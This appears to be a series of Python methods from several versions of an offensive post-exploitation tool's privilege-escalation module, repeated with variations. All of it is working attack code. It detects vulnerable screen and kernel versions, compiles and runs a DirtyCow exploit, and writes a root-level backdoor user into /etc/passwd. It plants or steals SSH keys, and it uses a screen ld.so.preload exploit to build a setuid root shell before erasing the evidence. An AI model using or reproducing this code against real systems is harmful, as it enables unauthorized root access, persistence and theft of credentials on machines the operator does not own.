def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ # If we have ran this before, don't bother running it if self.ran_before or not (Capability.SHELL & capability): return [] # Carve out the version of screen version_output = self.pty.run("screen -v").decode("utf-8").strip() match = re.search(r"(\d+\.\d+\.\d+)", version_output) if not match: raise PrivescError("could not gather screen version") # Knowing the version of screen, check if it is vulnerable... version_triplet = [int(x) for x in match.group().split(".")] if version_triplet[0] > 4: raise PrivescError("screen seemingly not vulnerable") if version_triplet[0] == 4 and version_triplet[1] > 5: raise PrivescError("screen seemingly not vulnerable") if (version_triplet[0] == 4 and version_triplet[1] == 5 and version_triplet[2] >= 1): raise PrivescError("screen seemingly not vulnerable") # If screen is vulnerable, try the technique! techniques = [Technique("root", self, None, Capability.SHELL)] return techniques
def execute(self, technique: Technique): """ Run the specified technique """ self.ran_before = True writer = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE) if writer is None: raise PrivescError("no file write methods available from gtfobins") dc_source_file = self.pty.run("mktemp").decode("utf-8").strip() dc_binary = self.pty.run("mktemp").decode("utf-8").strip() # Write the file self.pty.run(writer.write_file(dc_source, self.dc_source)) # Compile Dirtycow self.pty.run(f"cc -pthread {dc_source_file} -o {dc_binary} -lcrypt") # Run Dirtycow self.pty.run(dc_binary) # Reload /etc/passwd self.pty.reload_users() if self.pty.privesc.backdoor_user_name not in self.pty.users: raise PrivescError("backdoor user not created") # Become the new user! self.pty.process(f"su {self.pty.privesc.backdoor_user_name}", delim=False) self.pty.client.send( self.pty.privesc.backdoor_password.encode("utf-8") + b"\n") return "exit"
def add_backdoor(self): """ Add the backdoor user if it doesn't already exist. This is normally called in order to solidify full UID=0 access (e.g. when SUID binaries yield a EUID=0 but UID!=0. """ self.pty.reload_users() if self.backdoor_user_name not in self.pty.users: binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ) if binary is None: raise PrivescError( "no file read methods available from gtfobins") # Read the etc/passwd file passwd = self.pty.subprocess(binary.read_file("/etc/passwd")) data = passwd.read() passwd.close() # Split up the file by lines data = data.decode("utf-8").strip() data = data.split("\n") # Add a new user password = crypt.crypt(self.backdoor_password) user = self.backdoor_user_name data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}") # Prepare data for transmission data = ("\n".join(data) + "\n").encode("utf-8") # Find a GTFObins payload that works binary = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE) if binary is None: raise PrivescError( "no file write methods available from gtfobins") # Write the file self.pty.run(binary.write_file("/etc/passwd", data)) # Stabilize output after the file write self.pty.run("echo") # Reload the /etc/passwd data self.pty.reload_users() if self.backdoor_user_name not in self.pty.users: raise PrivescError("/etc/passwd update failed!") self.pty.process(f"su {self.backdoor_user_name}", delim=False) self.pty.flush_output() self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n") self.pty.run("echo")
def execute(self, technique: Technique): """ Run the specified technique """ with open("data/dirtycow/mini_dirtycow.c") as h: dc_source = h.read() dc_source = dc_source.replace("PWNCAT_USER", pwncat.victim.config["backdoor_user"]) dc_source = dc_source.replace("PWNCAT_PASS", pwncat.victim.config["backdoor_pass"]) self.ran_before = True writer = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE) if writer is None: raise PrivescError("no file write methods available from gtfobins") dc_source_file = self.pty.run("mktemp").decode("utf-8").strip() dc_binary = self.pty.run("mktemp").decode("utf-8").strip() # Write the file self.pty.run(writer.write_file(dc_source, dc_source)) # Compile Dirtycow self.pty.run(f"cc -pthread {dc_source_file} -o {dc_binary} -lcrypt") # Run Dirtycow self.pty.run(dc_binary) # Reload /etc/passwd self.pty.reload_users() if self.pty.privesc.backdoor_user_name not in self.pty.users: raise PrivescError("backdoor user not created") # Become the new user! self.pty.run(f"su {self.pty.privesc.backdoor_user_name}", wait=False) self.pty.recvuntil(": ") self.pty.client.send( self.pty.privesc.backdoor_password.encode("utf-8") + b"\n") return "exit"
def send_password(self, current_user): output = self.pty.client.recv(6, socket.MSG_PEEK).lower() if output == b"[sudo]" or output == b"passwo": if current_user["password"] is None: self.pty.client.send(CTRL_C) # break out of password prompt raise PrivescError( f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} has no known password" ) else: return # it did not ask for a password, continue as usual # Reset the timeout to allow for sudo to pause old_timeout = self.pty.client.gettimeout() self.pty.client.settimeout(5) self.pty.client.send(current_user["password"].encode("utf-8") + b"\n") # Flush the rest of the password prompt self.pty.recvuntil("\n") # Check the output once more output = self.pty.client.recv(6, socket.MSG_PEEK).lower() # Reset the timeout to the originl value self.pty.client.settimeout(old_timeout) if ( output == b"[sudo]" or output == b"passwo" or output == b"sorry," or output == b"sudo: " ): self.pty.client.send(CTRL_C) # break out of password prompt # Flush all the output self.pty.recvuntil(b"\n") raise PrivescError( f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} could not sudo" ) return
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ if self.ran_before or (Capability.SHELL & capability): return [] # Determine if this kernel version is vulnerable kernel = self.pty.run("uname -r").decode("utf-8").strip() triplet = [int(x) for x in kernel.split(".")] if triplet[0] > 4: raise PrivescError("kernel seemingly not vulnerable") if triplet[0] == 4 and triplet[1] == 7 and triplet[2] >= 9: raise PrivescError("kernel seemingly not vulnerable") if triplet[0] == 4 and triplet[1] == 8 and triplet[2] >= 3: raise PrivescError("kernel seemingly not vulnerable") if triplet[0] == 4 and triplet[1] == 4 and triplet[2] >= 26: raise PrivescError("kernel seemingly not vulnerable") techniques = [Technique("root", self, None, Capability.SHELL)]
def send_password(self, current_user: "******"): # peak the output output = self.pty.peek_output(some=False).lower() if (b"[sudo]" in output or b"password for " in output or output.endswith(b"password: "******"user {Fore.GREEN}{current_user.name}{Fore.RESET} has no known password" ) else: return # it did not ask for a password, continue as usual # Flush any waiting output self.pty.flush_output() # Reset the timeout to allow for sudo to pause old_timeout = self.pty.client.gettimeout() self.pty.client.settimeout(5) self.pty.client.send(current_user.password.encode("utf-8") + b"\n") output = self.pty.peek_output(some=True) # Reset the timeout to the originl value self.pty.client.settimeout(old_timeout) if (b"[sudo]" in output or b"password for " in output or b"sorry, " in output or b"sudo: " in output): self.pty.client.send(CTRL_C) # break out of password prompt # Flush all the output self.pty.recvuntil(b"\n") raise PrivescError( f"user {Fore.GREEN}{current_user.name}{Fore.RESET} could not sudo" ) return
def add_backdoor(self): """ Add the backdoor user if it doesn't already exist. This is normally called in order to solidify full UID=0 access (e.g. when SUID binaries yield a EUID=0 but UID!=0. """ pwncat.victim.reload_users() if pwncat.victim.config["backdoor_user"] not in pwncat.victim.users: # Read /etc/passwd with pwncat.victim.open("/etc/passwd", "r") as filp: lines = filp.readlines() # Add a new user password = crypt.crypt(pwncat.victim.config["backdoor_pass"]) user = pwncat.victim.config["backdoor_user"] lines.append( f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n") # Prepare data for transmission data = "".join(lines) # Write the data. Giving open the length opens up some other writing # options from GTFObins with pwncat.victim.open("/etc/passwd", "w", length=len(data)) as filp: filp.write(data) # Reload the /etc/passwd data pwncat.victim.reload_users() if pwncat.victim.config[ "backdoor_user"] not in pwncat.victim.users: raise PrivescError("/etc/passwd update failed!") # Log our tamper pwncat.victim.tamper.modified_file("/etc/passwd", added_lines=lines[-1:]) pwncat.victim.run(f"su {pwncat.victim.config['backdoor_user']}", wait=False) pwncat.victim.recvuntil(": ") pwncat.victim.flush_output() pwncat.victim.client.send( pwncat.victim.config["backdoor_pass"].encode("utf-8") + b"\n") pwncat.victim.run("echo")
def escalate( self, target_user: str = None, depth: int = None, chain: List[Technique] = [], starting_user=None, ) -> List[Tuple[Technique, str]]: """ Search for a technique chain which will gain access as the given user. """ if target_user is None: target_user = "******" if target_user == "root" and self.backdoor_user: target_user = self.backdoor_user["name"] current_user = self.pty.current_user if (target_user == current_user["name"] or current_user["uid"] == 0 or current_user["name"] == "root"): raise PrivescError(f"you are already {current_user['name']}") if starting_user is None: starting_user = current_user if depth is not None and len(chain) > depth: raise PrivescError("max depth reached") # Enumerate escalation options for this user techniques = [] for method in self.methods: try: util.progress(f"evaluating {method} method") found_techniques = method.enumerate(capability=Capability.SHELL | Capability.SUDO | Capability.WRITE) for tech in found_techniques: if tech.user == target_user: try: util.progress(f"evaluating {tech}") exit_command = self.escalate_single( tech) # tech.method.execute(tech) chain.append((tech, exit_command)) return chain except PrivescError: pass techniques.extend(found_techniques) except PrivescError: pass # We can't escalate directly to the target. Instead, try recursively # against other users. for tech in techniques: if tech.user == target_user: continue if self.in_chain(tech.user, chain): continue try: exit_command = self.escalate_single( tech) # tech.method.execute(tech) chain.append((tech, exit_command)) except PrivescError: continue try: return self.escalate(target_user, depth, chain, starting_user) except PrivescError: tech, exit_command = chain[-1] self.pty.run(exit_command, wait=False) chain.pop() raise PrivescError(f"no route to {target_user} found")
def escalate_single(self, technique: Technique) -> str: util.progress(f"attempting escalation to {technique}") shlvl = self.pty.getenv("SHLVL") if (technique.capabilities & Capability.SHELL) > 0: try: # Attempt our basic, known technique exit_script = technique.method.execute(technique) self.pty.flush_output() # Reset the terminal to ensure we are stable self.pty.reset() # Check that we actually succeeded current = self.pty.whoami() if current == technique.user or (technique.user == self.backdoor_user_name and current == "root"): return exit_script # Check if we ended up in a sub-shell without escalating if self.pty.getenv("SHLVL") != shlvl: # Get out of this subshell. We don't need it self.pty.process(exit_script, delim=False) # Clean up whatever mess was left over self.pty.flush_output() self.pty.reset() # The privesc didn't work, but didn't throw an exception. # Continue on as if it hadn't worked. except PrivescError: pass # We can't privilege escalate directly to a shell with this technique, # but we may be able to add a user via file write. if (technique.capabilities & Capability.WRITE) == 0 or technique.user != "root": raise PrivescError("privesc failed") # We need su to privesc w/ file write su_command = self.pty.which("su", quote=True) if su_command is None: raise PrivescError("privesc failed") # Read the current content of /etc/passwd reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ) if reader is None: raise PrivescError("no file reader found") payload = reader.read_file("/etc/passwd") # Read the file passwd = self.pty.subprocess(reader.read_file("/etc/passwd")) data = passwd.read() passwd.close() # Split up the file by lines data = data.decode("utf-8").strip() data = data.split("\n") # Add a new user password = crypt.crypt(self.backdoor_password) user = self.backdoor_user_name data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}") # Join the data back and encode it data = ("\n".join(data) + "\n").encode("utf-8") # Write the data technique.method.write_file("/etc/passwd", data, technique) # Maybe help? self.pty.run("echo") # Check that it succeeded users = self.pty.reload_users() # Check if the new passwd file contained the file if user not in users: raise PrivescError("privesc failed") self.pty.users[user]["password"] = password self.backdoor_user = self.pty.users[user] # Switch to the new user # self.pty.process(f"su {user}", delim=False) self.pty.process(f"su {user}", delim=True) self.pty.flush_output() self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n") self.pty.run("echo") return "exit"
def read_file( self, filename: str, target_user: str = None, depth: int = None, chain: List[Technique] = [], starting_user=None, ): if target_user is None: target_user = "******" current_user = self.pty.current_user if (target_user == current_user["name"] or current_user["uid"] == 0 or current_user["name"] == "root"): binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ) if binary is None: raise PrivescError("no binaries to read with") return self.pty.subprocess(binary.read_file(filename)), chain if starting_user is None: starting_user = current_user if depth is not None and len(chain) > depth: raise PrivescError("max depth reached") # Enumerate escalation options for this user techniques = [] for method in self.methods: try: found_techniques = method.enumerate(capability=Capability.ALL) for tech in found_techniques: if tech.user == target_user and (tech.capabilities & Capability.READ): try: read_pipe = tech.method.read_file(filename, tech) return (read_pipe, chain) except PrivescError as e: pass techniques.extend(found_techniques) except PrivescError: pass # We can't escalate directly to the target to read a file. So, try recursively # against other users. for tech in techniques: if tech.user == target_user: continue try: exit_command = self.escalate_single(tech) chain.append((tech, exit_command)) except PrivescError: continue try: return self.read_file(filename, target_user, depth, chain, starting_user) except PrivescError: tech, exit_command = chain[-1] self.pty.run(exit_command, wait=False) chain.pop() raise PrivescError(f"no route to {target_user} found")
def escalate( self, target_user: str = None, depth: int = None, chain: List[Technique] = None, starting_user=None, ) -> List[Tuple[Technique, str]]: """ Search for a technique chain which will gain access as the given user. """ if chain is None: chain = [] if target_user is None: target_user = "******" current_user = pwncat.victim.current_user if (target_user == current_user["name"] or current_user["uid"] == 0 or current_user["name"] == "root"): raise PrivescError(f"you are already {current_user['name']}") if starting_user is None: starting_user = current_user if depth is not None and len(chain) > depth: raise PrivescError("max depth reached") # Capture current shell level shlvl = pwncat.victim.getenv("SHLVL") # Check if we have a persistence method for this user util.progress(f"checking local persistence implants") for persist in pwncat.victim.persist.find(installed=True, local=True, user=target_user): util.progress( f"checking local persistence implants: {persist.format(target_user)}" ) # Attempt to escalate with the local persistence method if persist.escalate(target_user): # The method thought it worked, but didn't appear to if pwncat.victim.whoami() != target_user: if pwncat.victim.getenv("SHLVL") != shlvl: pwncat.victim.run("exit", wait=False) continue # It worked! chain.append( (f"persistence - {persist.format(target_user)}", "exit")) return chain # Enumerate escalation options for this user techniques = {} for method in self.methods: try: util.progress(f"evaluating {method} method") found_techniques = method.enumerate(Capability.SHELL | Capability.WRITE | Capability.READ) for tech in found_techniques: if tech.user not in techniques: techniques[tech.user] = [] techniques[tech.user].append(tech) except PrivescError: pass if (target_user == "root" and pwncat.victim.config["backdoor_user"] in techniques): try: tech, exit_command = self.escalate_single( techniques[pwncat.victim.config["backdoor_user"]], shlvl) chain.append((tech, exit_command)) return chain except PrivescError: pass # Try to escalate directly to the target if possible if target_user in techniques: try: tech, exit_command = self.escalate_single( techniques[target_user], shlvl) chain.append((tech, exit_command)) return chain except PrivescError: pass # Try to use persistence as other users util.progress(f"checking local persistence implants") for user in pwncat.victim.users: if self.in_chain(user, chain): continue util.progress(f"checking local persistence implants: {user}") for persist in pwncat.victim.persist.find(installed=True, local=True, system=False, user=user): util.progress( f"checking local persistence implants: {persist.format(user)}" ) if persist.escalate(user): if pwncat.victim.whoami() != user: if pwncat.victim.getenv("SHLVL") != shlvl: pwncat.victim.run("exit", wait=False) continue chain.append( (f"persistence - {persist.format(target_user)}", "exit")) try: return self.escalate(target_user, depth, chain, starting_user) except PrivescError: chain.pop() pwncat.victim.run("exit", wait=False) # Don't retry later if user in techniques: del techniques[user] # We can't escalate directly to the target. Instead, try recursively # against other users. for user, techs in techniques.items(): if user == target_user: continue if self.in_chain(user, chain): continue try: tech, exit_command = self.escalate_single(techs, shlvl) chain.append((tech, exit_command)) except PrivescError: continue try: return self.escalate(target_user, depth, chain, starting_user) except PrivescError: tech, exit_command = chain[-1] pwncat.victim.run(exit_command, wait=False) chain.pop() raise PrivescError(f"no route to {target_user} found")
def escalate_single(self, techniques: List[Technique], shlvl: str) -> Tuple[Optional[Technique], str]: """ Use the given list of techniques to escalate to the user. All techniques should be for the same user. This method will attempt a variety of privesc methods. Primarily, it will directly execute any techniques which provide the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd if the target user is root. Lastly, it will try to escalate using a local SSH server combined with READ/WRITE capabilities to gain a local shell. """ readers: List[Technique] = [] writers: List[Technique] = [] for technique in techniques: if Capability.SHELL in technique.capabilities: try: # Attempt our basic, known technique exit_script = technique.method.execute(technique) pwncat.victim.flush_output() # Reset the terminal to ensure we are stable pwncat.victim.reset() # Check that we actually succeeded current = pwncat.victim.whoami() if current == technique.user or ( technique.user == pwncat.victim.config["backdoor_user"] and current == "root"): pwncat.victim.flush_output() return technique, exit_script # Check if we ended up in a sub-shell without escalating if pwncat.victim.getenv("SHLVL") != shlvl: # Get out of this subshell. We don't need it # pwncat.victim.process(exit_script, delim=False) pwncat.victim.run(exit_script, wait=False) pwncat.victim.recvuntil("\n") # Clean up whatever mess was left over pwncat.victim.flush_output() pwncat.victim.reset() # The privesc didn't work, but didn't throw an exception. # Continue on as if it hadn't worked. except PrivescError: pass if Capability.READ in technique.capabilities: readers.append(technique) if Capability.WRITE in technique.capabilities: writers.append(technique) if writers and writers[0].user == "root": # We need su to privesc w/ file write su_command = pwncat.victim.which("su", quote=True) if su_command is not None: # Grab the first writer writer = writers[0] # Read /etc/passwd with pwncat.victim.open("/etc/passwd", "r") as filp: lines = filp.readlines() # Add a new user password = crypt.crypt(pwncat.victim.config["backdoor_pass"]) user = pwncat.victim.config["backdoor_user"] lines.append( f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n") # Join the data back and encode it data = ("".join(lines)).encode("utf-8") # Write the data writer.method.write_file("/etc/passwd", data, writer) # Maybe help? pwncat.victim.run("echo") # Check that it succeeded users = pwncat.victim.reload_users() # Check if the new passwd file contained the file if user in users: # Log our tamper of this file pwncat.victim.tamper.modified_file("/etc/passwd", added_lines=lines[-1:]) pwncat.victim.users[user][ "password"] = pwncat.victim.config["backdoor_pass"] self.backdoor_user = pwncat.victim.users[user] # Switch to the new user # pwncat.victim.process(f"su {user}", delim=False) pwncat.victim.process(f"su {user}", delim=True) pwncat.victim.recvuntil(": ") pwncat.victim.client.send( pwncat.victim.config["backdoor_pass"].encode("utf-8") + b"\n") pwncat.victim.flush_output() return writer, "exit" util.progress(f"checking for local {Fore.RED}sshd{Fore.RESET} server") if len(writers) == 0 and len(readers) == 0: raise PrivescError( "no readers and no writers. ssh privesc impossible") # Check if there is an SSH server running sshd_running = False ps = pwncat.victim.which("ps") if ps is not None: sshd_running = (b"sshd" in pwncat.victim.subprocess( "ps -o command -e", "r").read()) else: pgrep = pwncat.victim.which("pgrep") if pgrep is not None: sshd_running = (pwncat.victim.subprocess( "pgrep 'sshd'", "r").read().strip() != b"") sshd_listening = False sshd_address = None netstat = (pwncat.victim.subprocess( "netstat -anotp 2>/dev/null | grep LISTEN | grep -v tcp6 | grep ':22'", "r", ).read().strip()) if netstat != "": # Remove repeated spaces netstat = re.sub(b" +", b" ", netstat).split(b" ") sshd_listening = True sshd_address = netstat[3].split(b":")[0].decode("utf-8") used_technique = None if sshd_running and sshd_listening: # We have an SSHD and we have a file read and a file write # technique. We can attempt to leverage this to use SSH to ourselves # and gain access as this user. util.progress(f"found {Fore.RED}sshd{Fore.RESET} listening at " f"{Fore.CYAN}{sshd_address}:22{Fore.RESET}") authkeys_path = ".ssh/authorized_keys" try: with pwncat.victim.open("/etc/ssh/sshd_config", "r") as filp: for line in filp: if line.startswith("AuthorizedKeysFile"): authkeys_path = line.strip().split()[-1] except PermissionError: # We couldn't read the file. Assume they are located in the default home directory location authkeys_path = ".ssh/authorized_keys" # AuthorizedKeysFile is normally relative to the home directory if not authkeys_path.startswith("/"): # Grab the user information from /etc/passwd home = pwncat.victim.users[techniques[0].user]["home"] if home == "" or home is None: raise PrivescError( "no user home directory, can't add ssh keys") authkeys_path = os.path.join(home, authkeys_path) util.progress( f"found authorized keys at {Fore.CYAN}{authkeys_path}{Fore.RESET}" ) authkeys = [] privkey_path = None privkey = None if readers: reader = readers[0] with reader.method.read_file(authkeys_path, reader) as filp: authkeys = [line.strip().decode("utf-8") for line in filp] # Some payloads will return the stderr of the file reader. Check # that the authorized_keys even existed if len(authkeys) == 1 and "no such file" in authkeys[0].lower( ): authkeys = [] # We need to read each of the users keys in the ".ssh" directory # to see if they contain a public key that is already allowed on # this machine. If so, we can read the private key and # authenticate without a password and without clobbering their # keys. ssh_key_glob = os.path.join( pwncat.victim.users[reader.user]["home"], ".ssh", "*.pub") # keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8") keys = ["id_rsa.pub"] keys = [ os.path.join(pwncat.victim.users[reader.user]["home"], ".ssh", key) for key in keys ] # Iterate over each public key found in the home directory for pubkey_path in keys: if pubkey_path == "": continue util.progress( f"checking if {Fore.CYAN}{pubkey_path}{Fore.RESET} " "is an authorized key") # Read the public key with reader.method.read_file(pubkey_path, reader) as filp: pubkey = filp.read().strip().decode("utf-8") # Check if it matches if pubkey in authkeys: util.progress( f"{Fore.GREEN}{os.path.basename(pubkey_path)}{Fore.RESET} " f"is in {Fore.GREEN}{reader.user}{Fore.RESET} authorized keys" ) # remove the ".pub" to find the private key privkey_path = pubkey_path.replace(".pub", "") # Make sure the private key exists if (b"no such file" in pwncat.victim.run( f"file {privkey_path}").lower()): util.progress( f"{Fore.CYAN}{os.path.basename(pubkey_path)}{Fore.RESET} " f"has no private key") continue util.progress( f"download private key from {Fore.CYAN}{privkey_path}{Fore.RESET}" ) with reader.method.read_file(privkey_path, reader) as filp: privkey = filp.read().strip().decode("utf-8") # The terminal adds \r most of the time. This is a text # file so this is safe. privkey = privkey.replace("\r\n", "\n") used_technique = reader break else: privkey_path = None privkey = None elif writers: util.warn( "no readers found for {Fore.GREEN}{techniques[0].user}{Fore.RESET}" ) util.warn(f"however, we do have a writer.") response = confirm( "would you like to clobber their authorized keys? ", suffix="(y/N) ") if not response: raise PrivescError("user aborted key clobbering") # If we don't already know a private key, then we need a writer if privkey_path is None and not writers: raise PrivescError("no writers available to add private keys") # Everything looks good so far. We are adding a new private key. so we # need to read in the private key and public key, then add the public # key to the user's authorized_keys. The next step will upload the # private key in any case. if privkey_path is None: writer = writers[0] # Write our private key to a random location with open(pwncat.victim.default_privkey, "r") as src: privkey = src.read() with open(pwncat.victim.default_privkey + ".pub", "r") as src: pubkey = src.read().strip() # Add our public key to the authkeys authkeys.append(pubkey) # Write the file writer.method.write_file(authkeys_path, ("\n".join(authkeys) + "\n").encode("utf-8"), writer) if len(authkeys) > 1: pwncat.victim.tamper.modified_file(authkeys_path, added_lines=pubkey + "\n") else: # We couldn't read their authkeys, but log that we clobbered it. The user asked us to. :shrug: pwncat.victim.tamper.modified_file(authkeys_path) used_technique = writer # SSH private keys are annoying and **NEED** a newline privkey = privkey.strip() + "\n" with pwncat.victim.tempfile("w", length=len(privkey)) as dst: # Write the file with a nice progress bar dst.write(privkey) # Save the path to the private key. We don't need the original path, # if there was one, because the current user can't access the old # one directly. privkey_path = dst.name # Log that we created a file pwncat.victim.tamper.created_file(privkey_path) # Ensure the permissions are right so ssh doesn't freak out pwncat.victim.run(f"chmod 600 {privkey_path}") # Run ssh as the given user with our new private key util.progress( f"attempting {Fore.RED}ssh{Fore.RESET} to " f"localhost as {Fore.GREEN}{techniques[0].user}{Fore.RESET}") ssh = pwncat.victim.which("ssh") # First, run a test to make sure we authenticate command = ( f"{ssh} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no " f"{techniques[0].user}@127.0.0.1") output = pwncat.victim.run(f"{command} echo good") # Check if we succeeded if b"good" not in output: raise PrivescError("ssh private key failed") # Great! Call SSH again! pwncat.victim.process(command) # Pretty sure this worked! return used_technique, "exit"
def read_file( self, filename: str, target_user: str = None, depth: int = None, chain: List[Technique] = [], starting_user=None, ): if target_user is None: target_user = "******" current_user = pwncat.victim.current_user if (target_user == current_user["name"] or current_user["uid"] == 0 or current_user["name"] == "root"): pipe = pwncat.victim.open(filename, "rb") return pipe, chain if starting_user is None: starting_user = current_user if depth is not None and len(chain) > depth: raise PrivescError("max depth reached") # Enumerate escalation options for this user user_map = {} for method in self.methods: try: found_techniques = method.enumerate(Capability.ALL) for tech in found_techniques: if tech.user == target_user and (tech.capabilities & Capability.READ): try: read_pipe = tech.method.read_file(filename, tech) return (read_pipe, chain) except PrivescError: pass if tech.user not in user_map: user_map[tech.user] = [] user_map[tech.user].append(tech) except PrivescError: pass shlvl = pwncat.victim.getenv("SHLVL") # We can't escalate directly to the target to read a file. So, try recursively # against other users. for user, techniques in user_map.items(): if user == target_user: continue if self.in_chain(user, chain): continue try: tech, exit_command = self.escalate_single(techniques, shlvl) chain.append((tech, exit_command)) except PrivescError: continue try: return self.read_file(filename, target_user, depth, chain, starting_user) except PrivescError: tech, exit_command = chain[-1] pwncat.victim.run(exit_command, wait=False) chain.pop() raise PrivescError(f"no route to {target_user} found")
def execute(self, technique: Technique): """ Run the specified technique """ self.ran_before = True writer = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE) if writer is None: raise PrivescError("no file write methods available from gtfobins") # Hide the activity by creating hidden temporary files libhack_c = (self.pty.run("mktemp -t .XXXXXXXXXXX --suffix .c").decode( "utf-8").strip()) libhack_so = (self.pty.run( "mktemp -t .XXXXXXXXXXX --suffix .so").decode("utf-8").strip()) rootshell_c = (self.pty.run( "mktemp -t .XXXXXXXXXXX --suffix .c").decode("utf-8").strip()) rootshell = self.pty.run("mktemp -t .XXXXXXXXXXX").decode( "utf-8").strip() # Write the library self.pty.run( writer.write_file( libhack_c, textwrap.dedent(f""" #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){{ chown("{rootshell}", 0, 0); chmod("{rootshell}", 04755); unlink("/etc/ld.so.preload"); }} """).lstrip(), )) # Compile the library self.pty.run(f"gcc -fPIC -shared -ldl -o {libhack_so} {libhack_c}") # Create the rootshell binary self.pty.run( writer.write_file( rootshell_c, textwrap.dedent(f""" #include <stdio.h> int main(void){{ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("{self.pty.shell}", NULL, NULL); }} """).lstrip(), )) # Compile the rootshell binary self.pty.run(f"gcc -o {rootshell} {rootshell_c}") # Switch to /etc but save our previous directory so we can return to it self.pty.run("pushd /etc") # Run screen with our library, saving the umask before changing it start_umask = self.pty.run("umask").decode("utf-8").strip() self.pty.run("umask 000") # sleep(1) self.pty.run(f'screen -D -m -L ld.so.preload echo -ne "{libhack_so}"') # sleep(1) # Trigger the exploit self.pty.run("screen -ls") # Reset umask to the saved value self.pty.run(f"umask {start_umask}") # Check if the file is owned by root file_owner = self.pty.run(f"stat -c%u {rootshell}").strip() if file_owner != b"0": raise PrivescError("failed to create root shell") # Hop back to the original directory self.pty.run("popd") # Start the root shell! self.pty.process(f"{rootshell}", delim=False) # Remove the evidence self.pty.run( f"unlink {libhack_so} {libhack_c} {rootshell_c} {rootshell}")